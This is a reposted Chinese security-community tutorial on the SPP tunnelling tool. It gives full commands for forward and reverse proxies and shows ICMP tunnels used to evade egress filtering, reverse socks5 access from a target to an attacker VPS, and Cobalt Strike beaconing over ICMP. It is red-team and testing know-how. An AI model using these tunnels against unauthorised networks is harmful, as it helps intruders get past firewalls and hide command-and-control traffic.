文章来源:先知社区
原文地址:https://xz.aliyun.com/t/9820
0x01 前言
看到SPP这款工具介绍的时候三个特点引起了我的注意:
项目地址:https://github.com/esrrhs/spp
支持icmp、kcp、quic
支持双向的代理
可以自由进行内部外协议的组合
通过一个工具基本可以满足演练过程中打隧道的要求(可惜不支持dns协议)。这篇文章主要是自己研究该工具如何使用的过程
0x02 工具简介
支持的协议:tcp、udp、rudp(可靠udp)、ricmp(可靠icmp)、rhttp(可靠http)、kcp、quic
支持的类型:正向代理、反向代理、socks5正向代理、socks5反向代理
协议和类型可以自由组合
外部代理协议和内部转发协议可以自由组合
0x03 命令解释
-compress int start compress size, 0 means off (default 128)-encrypt string encrypt key, empty means off (default "default")-fromaddr value from addr-key string verify key (default "123456")-listen value server listen addr-loglevel string log level (default "info")-maxclient int max client connection (default 8)-maxconn int max connection (default 128)-name string client name (default "client")-nolog int write log file-noprint int print stdout-password string socks5 password-ping show ping-profile int open profile-proto value main proto type: [tcp rudp ricmp kcp quic rhttp]-proxyproto value proxy proto type: [tcp rudp ricmp kcp quic rhttp udp]-server string server addr-toaddr value to addr-type string type: server/proxy_client/reverse_proxy_client/socks5_client/reverse_socks5_client-username string socks5 username
0x04 Server基本用法
在vps的8888端口开启tcp流量监听
spp -type server -proto tcp -listen :8888
这里需要注意,ricmp协议无需设置端口
spp -type server -proto ricmp -listen 0.0.0.0
spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0
0x05 Client基本用法
实验都以tcp协议进行,Server端监听8888端口。实战中只需要修改proxyproto参数就可以转换协议
正向代理端口
将vps的8999端口代理至本机8080
spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp

反向代理端口
spp -name "test" -type reverse_proxy_client -server vps:8888 -fromaddr :8998 -toaddr :80 -proxyproto tcp

正向socks5代理
spp -name "test" -type socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

反向socks5代理
spp -name "test" -type reverse_socks5_client -server vps:8888 -fromaddr :8080 -proxyproto tcp

内外部协议封装
spp -type server -proto rudp -listen :8888
Client外部使用udp连接,内部封装tcp进行正向代理转发端口
spp -name "test" -type proxy_client -server vps:8888 -fromaddr :8080 -toaddr :8999 -proxyproto tcp -proto rudp


0x06 实战场景应用
在对抗项目中有遇到过一些极端环境,比如目标封了tcp,http等常用出网的协议,但是icmp,dns等协议可能因为业务需要或者管理者安全意识不到位导致没有封干净。在这种场景下就可以使用这些容易被忽视的协议进行隧道的搭建。
ICMP+反向socks代理
Server
spp -type server -proto ricmp -listen 0.0.0.0
Client
./spp -name "test" -type reverse_socks5_client -server vps -fromaddr :8080 -proxyproto tcp -proto ricmp


ICMP+cobaltstrike
Server
反向代理用于进入目标内网,正向代理可配合远控工具进行上线。
spp -type server -proto ricmp -listen 0.0.0.0
spp -name "test" -type proxy_client -server vps -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp



文章转载自哆啦文库,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。




